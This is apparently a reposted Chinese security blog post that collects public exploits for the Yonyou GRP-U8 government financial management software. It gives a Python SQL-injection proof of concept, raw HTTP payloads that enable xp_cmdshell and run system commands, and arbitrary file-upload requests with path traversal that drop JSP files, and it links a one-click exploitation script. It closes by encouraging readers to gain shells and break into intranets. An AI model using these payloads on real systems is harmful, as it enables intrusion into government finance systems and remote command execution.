服务粉丝

我们一直在努力
当前位置：首页 > 财经 >

用友GRP-U8行政事业财务管理软件漏洞

日期： 来源：沃克学安全收集编辑：walker1995

0x00  前言

这两天在客户现场对其内网系统进行渗透时，遇到了用友GRP-U8，是用友GRP-U8R10行政事业财务管理软件（新政府会计制度专版）。于是从网上搜了相关漏洞，这里简单汇总下网上目前公开的漏洞及Payload和相关利用脚本。

0x01  用友GRP-U8介绍

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业，基于云计算技术所推出的新一代产品，是我国行政事业财务领域专业的政府财务管理软件。根据目前网上公开的资料显示，该软件存在任意文件上传，SQL注入漏洞。

0x02  Proxy XXE-SQL注入

CNVD编号CNVD-2021-20211，用友GRP-U8存在SQL注入漏洞，攻击者可利用Mssql的exec xp_ cmdshell执行系统命令。

补丁信息：https://www.cnvd.org.cn/patchInfo/show/251301

一、POC脚本
import re 
import requests 
import sys 
 
if len(sys.argv) !=2: 
    print("Usage: python poc.py url") 
    print("example: python poc.py http://127.0.0.1:8080") 
    sys.exit(1) 
url = sys.argv[1] 
headers = { 
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", 
    "Content-Type":"application/x-www-form-urlencoded", 
} 
def poc(url): 
    url = url +'/Proxy'
    print(url) 
    data ='cVer=9.8.0&dp=<?xmlversion="1.0" encoding="GB2312"?><R9PACKETversion="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATAformat="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATAformat="text">select @@version</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
    res = requests.post(url,headers=headers,data=data) 
    res = res.text 
    result_row =r'<ROW COLUMN1="(.*?)"'
    ROW = re.findall(result_row,res,re.S| re.M) 
    print(ROW[0]) 

if __name__=="__main__": 
    poc(sys.argv[1])
二、手工利用

验证POC：

POST /Proxy HTTP/1.1
Accept: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Host: {{Hostname}}
Content-type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>

通过SQL注入获取权限（开启xp_cmdshell，执行命令）：

1.查看当前数据库名称

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select db_name()</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>

2.开启xp_cmdshell操作，查询到当前数据库名称后，第一个包需要修改当前库名

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show advanced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdshell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

3.执行命令

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell "whoami"</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

0x02  UploadFileData接口任意文件上传

一、第一种方式
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=test.jsp&filename=1.jpg HTTP/1.1
Host: xxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=xxxxxxxxxxxx
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Length: 170

------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"
<% out.println("test");%>
------WebKitFormBoundary92pUawKc--

上传后访问/R9iPortal/test.jsp

二、第二种方式
POST /UploadFileData?action=upload_file&&foldername=/..&filename=/test.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
Content-Length: 194

-59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/png

<% out.println("test");%>
--59229605f98b8cf290a7b8908b34616b--
三、脚本一键梭哈

github项目地址：https://github.com/xanszZZ/YY_upfile

0x03  U8AppProxy 任意文件上传

POST /U8AppProxy?gnid=myinfo&id=saveheader&zydm=../../test HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=635F2271089E7A7E66F3F84824553DEE
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 01 Feb 2016 08:01:00 GMT
If-None-Match: W/"5732-1454313660000"
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
Content-Length: 194

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/png

<% out.println("test");%>
--59229605f98b8cf290a7b8908b34616b--

上传后访问/test.jsp


0x04  总结

漏洞复现，有手就行；

脚本我有，一键梭哈。


如有遗漏，欢迎各位师傅私信我补充~

最后，祝各位师傅在内网中遇到了都能getshell，日穿内网！！！


如果喜欢小编的文章，记得多多转发，点赞+关注支持一下哦~，您的点赞和支持是我最大的动力~


文章推荐

相关阅读

  • 如何看待华为拟进入ERP领域

  • 引述一些有意思的内容：内容一 2022/11/23，用友2日前盘中一度跌停华为愿意进入这个领域，说明华为内部对ERP稳态每年市场的评估可能在千亿以上，而不是二级市场当前认为的每年小几

  • 超实用！带货千万的直播脚本该怎么写?（附模板）

  • 一场直播，主播、选品的重要性不言而喻，但是一场成功的直播，绝对离不开一份逻辑严密，条理分析的直播脚本。很多人在准备写直播脚本的时候，往往无从下手，不懂得如何掌握要点。今天分

  • 电商APP后门风波：你的隐私安全吗？丨大东话安全

  • 一、小白剧场小白：东哥，现在网购真是太方便、划算了。大东：没错，互联网和数字货币让我们能够足不出户地了解世界，也能够足不出户地买到我们想要的东西。小白：我现在已经离不开网络

  • 影响多款产品！三星芯片曝出18个零日漏洞

  • Bleeping Computer 网站披露，谷歌 Project Zero 安全团队在三星用于移动设备、可穿戴设备和汽车的Exynos 芯片组中发现了 18 个漏洞，包括 Pixel 6 系列、Pixel 7 系列、三星 G

  • 记一次渗透非法网站并成功提权的案例

  • 一、前言简单的描述一下，有天因为很无聊，又想日点非法的网站，于是我就到反诈骗贴吧去逛了一圈，看能不能找到一些诈骗网站来操作一下，简简单单的翻了一下，立马锁定一个目标站，因为它

  • 杨迪恋爱17年不结婚，分手就该被骂？

  • ☝点击上方观看完整视频☝1今天我很想聊一聊前段时间的一个热搜：杨迪 这次分手与离婚无异。为什么在这个事件已经从热点变成冷点的时候，我还特别想去聊这个事情呢？就是因为我看

  • 意图脚本：简单的自定义指令

  • 我想听周杰伦的歌、我想听林俊杰的歌、快进一分钟、快进五分钟、我想看中央一台、我想看电影频道意图脚本就是为了匹配通用语句，提取关键词，然后根据关键词自由发挥的解决方案

  • 每日安全动态推送(3-17)

  • Tencent Security Xuanwu Lab Daily News• CVE-2023-25695: Information disclosure in Apache Airflow:https://seclists.org/oss-sec/2023/q1/153 ・ Apache Airflow

聚合标签

中国 自己的 美国 都是 疫情 的人 的是 亿元 三星 手机 华为 这款 车型 万元 企业 日本 小米 俄罗斯 民警 项目

热门文章

  • “复活”半年后　京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后，杀入公益事业，试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日，“益心一益·守护梦想每一步”2018年四

最新文章

  • 用友GRP-U8行政事业财务管理软件漏洞

  • 0x00 前言这两天在客户现场对其内网系统进行渗透时，遇到了用友GRP-U8，是用友GRP-U8R10行政事业财务管理软件（新政府会计制度专版）。于是从网上搜了相关漏洞，这里简单汇总下网上

  • “冰糖心”，甜到心里！

  • 新疆阿克苏苹果色泽鲜艳，味道香甜富有营养，畅销各地咬上一口，清脆甘甜制图/高珊珊河水滔滔，雪山连绵草丰林盛，繁茂果园阿克苏地区持续推进生态治理和保护在改善生态环境的同时有

  • 夜读 | 学会做自己的摆渡人

  • 带着盛放的灿烂，奔向无尽的远方。人生，就是一场漫长的跋涉。一路上，高峰和低谷交错，有顺境，也会有逆境。无论处于何时何地，没有人可以代替你经历所有。那些生活中的困顿，都要靠你自

  • 消费修复的快与慢

  • 作者：孙永乐，宋雪涛来源：雪涛宏观笔记（ID：xuetao_macro）1-2月社零同比增速3.5%，相比21年两年平均增速5.1%，为全年消费回暖开了个好头。对比此前两轮疫后复苏（2020&2022），这次疫后复苏里